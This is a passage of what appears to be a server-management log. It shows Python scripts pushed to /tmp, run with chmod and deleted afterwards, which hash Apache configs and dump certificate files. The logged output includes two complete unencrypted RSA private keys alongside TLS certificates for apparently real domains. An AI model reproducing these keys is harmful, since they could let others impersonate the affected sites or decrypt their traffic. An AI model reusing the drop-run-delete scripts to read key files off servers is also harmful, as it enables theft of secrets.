def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-10 22:59:04: 

chmod 755 /tmp/pkp653206; /tmp/pkp653206; rm /tmp/pkp653206

2026-06-10 22:59:04: 
2026-06-10 22:59:04: 

PUT: /tmp/pkp966185

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293')
    show_file('/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt')
    show_file('/etc/apache2/sites-available/vela_www_work.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-10 22:59:04: 

chmod 755 /tmp/pkp966185; /tmp/pkp966185; rm /tmp/pkp966185

2026-06-10 22:59:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293	7427
78:42:82:36:cd:aa:4e:ff:36:0b:46:8b:eb:50:05:dd

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBgKFMrYx/jyq99vmDhAGwJ79MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjA3MDcyNDE5WhcNMjYwOTA1MDcyNDE4WjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAz/2wdZb9Cv99g2YhDNzUUmYpAwPTk54AOJqIJuiOLH5IxnI2ShnFDUwV
uTlWII8k+piEv4UDj38S2Cdb/hnykpkd+zcPD1lm92bI8tejZBWpTYNhtARh06VU
Qon9bSgky0UVOUjk8izqxNcmjMc4Kf0V5WJLwvk/hcJMLWX2i9SE5JzzPszRtJ8c
jQjx5HQxVVIrijTwH/Jg0N8WVQvboCgQPZnVVqSUCrlZZLX84VgpWg1g7jVk+t9x
LAzrQY/pem6FcCOqW2Sg3p6ohElHjSKLyaC++k0yDsch5d0EmkKvljpqDazM+492
joptKYWd2ytOL1n+9ZyQf2SOQgrIaQIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FEnjlZPc+pYYthxLqcsaqmNJCjleMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITdGVzdC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzEyNi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwDCMX5X
RRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ6hLW5pAAAEAwBIMEYCIQDL
iNgSZjWzhVgahN3kbwnjYqpLgM7JmUe7xzoFZ21GUgIhAO9Q+GiP4EKxaREsEe5K
gAyxW8IJ/a3qBCS+yrKEf5i0AH4AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9
mRirRyMAAAGeoS1tygAIAAAFABpJXEMEAwBHMEUCIGprD/8OOXtg83LwzR69XRK1
t4SrcjxYggNGYiNzcqKlAiEAsAib/cZHPUtKrIaHehHiK/9Shr0ZCgVDF42gzvkM
HI8wDQYJKoZIhvcNAQELBQADggEBAAs5f4hRh45935qY/I9VdqLYTF4kelipsGTY
dJqJQ0JgWpS3lz9b5HTlkGOnaRPS9vkEHvKU7/nAXxU7mP69/ZjpfePiu8T0IiUF
A9c9iT3AqMGyNZ42UWjvqIusvhc1cgtKcgcZ7FsCVhRy9F5x19dHmfP+zEzhloy+
/gjjaZvdAb9BhpP4Jq04CB+kReIH3islQYHi9/Fa3PR4d7NTMb9ENWTOtzBQSikt
35vq0aN+ml+mpKC2b5/5S8K9B+RGINrUhiS19tvxweSdybX527GJsc1wRaz8bdbX
cCXo5dNNbKCx/eR/9WjNGVUQWBl/HtWpsAPJUqfX84rKFsNZ3kw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDP/bB1lv0K/32D
ZiEM3NRSZikDA9OTngA4mogm6I4sfkjGcjZKGcUNTBW5OVYgjyT6mIS/hQOPfxLY
J1v+GfKSmR37Nw8PWWb3Zsjy16NkFalNg2G0BGHTpVRCif1tKCTLRRU5SOTyLOrE
1yaMxzgp/RXlYkvC+T+FwkwtZfaL1ITknPM+zNG0nxyNCPHkdDFVUiuKNPAf8mDQ
3xZVC9ugKBA9mdVWpJQKuVlktfzhWClaDWDuNWT633EsDOtBj+l6boVwI6pbZKDe
nqiESUeNIovJoL76TTIOxyHl3QSaQq+WOmoNrMz7j3aOim0phZ3bK04vWf71nJB/
ZI5CCshpAgMBAAECggEABes5P09pqgt1Pe0FGcGbBTFFD4HnXncLmJDFOR47FYcO
eR887kTnd6Zno9q+2bRZIAyBEpYtcMLz/VS5aHTCk2tqEAEUG6K2rGmvZEHAs5Nu
Ovd3K1FIm2ZEDJSyso2G5oXzwaqSYVXn5Gwe+7ibn45FNj7i2wyOwzaxRkV1i6sW
bRbRRAGS+NfF6zAJ1mNDDI6dajiY/BNyedE7js35hmbdMQI9PxJBWZ7n5iMHVmEX
ou2l3ireop4NTTeGvsFLZNoOx3eO33OrBf1JDn0Y3X4dtT8VH6qywfJo+QLQkNX9
9RKbZ3p3Yv1jFG1xjCkPtt6EAmYmDLhM197t1a8AdQKBgQDukUSbsfYLJ8Hu9+OI
y2RRNq6jZztW5TAXmkgeHsFOZKaBcogSVYzncjNxJnNXGu20zul2sRaEFNxHRzVa
Svr5D6bnGJOpykTy4W+RpbUUwBFcgesMzgINpuQWEb/kgmfrZg4cw38zHIIm1rpJ
0FWtoqyafvsMIICohNHWM5cGlwKBgQDfMHI8iHftnRiljtZ6vyO4ECKBkgVgCN9P
fbu0iP053FPne/IEtjbGjlSOvYPruXQy7YVDn7aVeREJ38lu4fyN1yhN1R0zoNXD
/5zCEghGwsZY9YQ6yVl/L9wOhB4BzjQnjzhz/KQUYv7AcDnV/CzMZ2h7SNngdPmm
V6uavB2I/wKBgQCDROGofhKxbq3ybOoBUlEfsuQDO4FWPgPpaNY35JpfJVjNL5UZ
6YL/s0IFB7A9hK65Z4Tk72pBQS0390GvLkTMmMUwscBGk+q+bjcywChUg57J9R69
y/krQ+KLFjctaGgACgbH4vZxzET9U/frN7x9L16kICzJLnU8xOClaXu3fwKBgCM/
VWs16iq+epv62Oh9szhoY+qukua9v/af1rsGP2eZ4i5WprwTwsbMx5HbYDAkE7PP
SxKI8J7ehdBXZUp7qhUEe7r/AyOaLOhNQAZuLpxuOkDmVUGrdtTdTBWGy+5hEF+H
ANVgetE1aSIfFyMyNij508hUkwQdtSeOBO3k840lAoGAeF944sPFkFeGoQKdp0HO
j/dewgq+SgkadCHUY6A1Whb4gy9Q34SkmFJIGggi/SuX2BEcCQXdqQPRrLSD94Mg
d1WvupQXopaXNBtmGEteasKtHuArXP9D5A9RivV3N3fHf9MC2UFlivuL5IIrT93H
gwGUidL/+4pn5hRrXSFApmE=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt	7416
05:24:77:01:02:bd:da:b9:67:a5:24:18:dd:2b:84:43

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBWySWCFRlZe9aQfM21+cRKfEMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNTI5MDUwMTM4WhcNMjYwODI3MDUwMTM3WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA0f3lwfJHCdHA7aMrlRJ7+TL4rWOIw6wQoBQfS7mtWb+gjr2VOi3hiWtkbLss
dIVSqSU1RWXY/PlxbIV0yYF1F/4sWOb2pgrMwuAXKiWH4BYs+x4jERw5eqhKBHKP
AVwSEdDpCnlOHZmMQov+87ZEfsUWAfMLPsb+tVi1qiBO/rJYkDcCH7Vzr+ZfWmfh
FtWXlPHllrTx3vWi5soCGX3vmJsjzL9eethV0ugE2j1fhQRWYTu3JjcM8uVYrTq3
zuDf5GNyLznq8jUZm6mGhM+iQYpnQq4mny/0JfePFTjWNsl6osi/5iJAcyA+9E9W
Eko2OYlrLpSpVHnLQeexG9SqdQIDAQABo4ICHjCCAhowDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFF8T
lP+Za3IHTX8wPSUfZlgz+2FIMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+B
DIEMMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIQY29uZG9yLmhvc3R6Lm9yZzATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8veXIyLmMubGVuY3Iu
b3JnLzY5LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AMijxH/Hs625NWsB
P2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABnnJRkFsAAAQDAEcwRQIhAOp/hFt/yslg
FE4qbYgQBHErqqjviEIvJlcS/9eRHRcpAiAK7bM/nIhskazeq+1ucXFAYrA+R+lU
G2J2X4k+VTBZ0AB+ABqLnWsP/r+BtHk5xtIxCobW0QLU8EbiGCyd419eJiXvAAAB
nnJRkP0ACAAABQAYHeyWBAMARzBFAiBDjtE2I1Qsxzwlvg61SOm4Cjag1uwMIrrh
PB8p9syMzgIhAKd4QUdN3MCsB7xx5YuBHnAepU1ax2QF+YdErS42ZZXyMA0GCSqG
SIb3DQEBCwUAA4IBAQBPD/QlaKCTlZtjabDcFAphLgKAJ8Bf+vXNAm+VrIVhX0Ze
8YxAIFLWrYK5txqSB6T/EEP+WKjcNeDlr1YvS/j6H6VTIYPjM6it9Z7F1MjVFnVK
XxwTLZtkrMhBhnvuuDSR0BtnI4tAOtkxik0+7yVzMcCQDTEJibn92opFxrEVQI/l
nIJ0HaGv79riVHGjl9B6hPRTs/iifgSmjsV2t70noBgZlypibihcKNnYTYpJZU4J
h8PZ4uIwMj3qYe/MgTpiNsJNKGgB5ahejxKx7vOd6xoHPj7ZQR/vW0PM1SID58W8
VFOtT1yO1enHpbD7rlovqcGalAffMWFEkVtnDJ7W
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR/eXB8kcJ0cDt
oyuVEnv5MvitY4jDrBCgFB9Lua1Zv6COvZU6LeGJa2Rsuyx0hVKpJTVFZdj8+XFs
hXTJgXUX/ixY5vamCszC4BcqJYfgFiz7HiMRHDl6qEoEco8BXBIR0OkKeU4dmYxC
i/7ztkR+xRYB8ws+xv61WLWqIE7+sliQNwIftXOv5l9aZ+EW1ZeU8eWWtPHe9aLm
ygIZfe+YmyPMv1562FXS6ATaPV+FBFZhO7cmNwzy5VitOrfO4N/kY3IvOeryNRmb
qYaEz6JBimdCriafL/Ql948VONY2yXqiyL/mIkBzID70T1YSSjY5iWsulKlUectB
57Eb1Kp1AgMBAAECggEAEelMLazSrl27zQk78G0xMeJNH8z7n2UPzfepa7YcuSkF
Mues0NeVAzmryTJ16kJs+Ix57L9xMLK+H/mKKp3mNPOzKKoao7MMIBspHqkw28ZI
c+rwJsd3h6TPG24CEKWfzPE6z2/lX9T3B74VMwh68y0wYV4vuV0T4Lf+VtKGqma4
Yw59b/DtJLNDkLpgSzn7CoxIflnsLANxTYiGkfvzYR+S2M4i+7DJehxWD2oq+tbi
KZVQn+q02MDh7MS4d9PdfcWyzA6UzRfa1dowfrN8o6p6eYufnZt0v4dewI3TDGY5
SFyeK09hjI8G5AzgOZmXHEZANODpZHencHBceKC1AQKBgQDs/6GVG/J7DTsQioDt
mAxvW3AlP1qbedxUxDTZJ96w/aFou9Tahli15skfRsLQg2FeHyoqJqONnAkX+DkS
wB1/g8EPqvLNMe13zyF3MSCvaE93Cdr4saubh34cIl+szfEdtM/YVlXlAjOBRlCw
qPe/yHrm4FkZnyhiHLo7Afe2YQKBgQDi0/SRQ/N3JClrBdpDv4dhuGSTzGN5BQlO
0rjgSbW2uZ1/snCGQLa1rh8Sd7dEISaKsUkLzApZWnHiG75ElgeNXaYdMVLkbeiQ
CyIxiqO2hzQ+5gVpCjpSzbsEICj06sGSNZoVFhfKLcLolkh07/iUCDaFQupl+H+r
RT50ro4ElQKBgDokZLG+D3jcwBbIw+SGHtba6eJZbpMiDEnHcOetflaRgp29JvUN
bIoDumev5m9dK+/5WVDJ9enx09FLlkThWNtFqYF8gOCSVR3FdQJWzRv7TTN4+X11
qRIY5XllfW9ZfsO47hy24Y+zQIuAgp80dMNaHbyyYWmFwFSBk7aSPwFBAoGAct2r
KDUlAdyKLOxVz6EaSd468K28Yfiu8f+8J7isENCGdbhDS3lSDUcT7SI66IFxJyMI
PrUhOIaYzUwHWmwvfuNBz96+f3c5IljBBB2VMkXdq0yIyNypFG2im0A9/Wk0hXon
gS4i9fuejHIuVyl+1FgkY++zC9h/rpfuPOB4gtECgYEAskjIzPUzRmK24Ee6/xRx
Xlc9OsKeggt7XcOOcAURJFy5H27Icc/i4vZP0qzr54KIrLnZf8tpW96yRMtgnsOH
xTnn3KcApvK2wfglk+Xh+gqLQBwcZVYkV/ADPK93crgfDd2oOZnMXkNx+6bhKzW6
1n+ok40Gx7EdXqa9r5yKK2g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
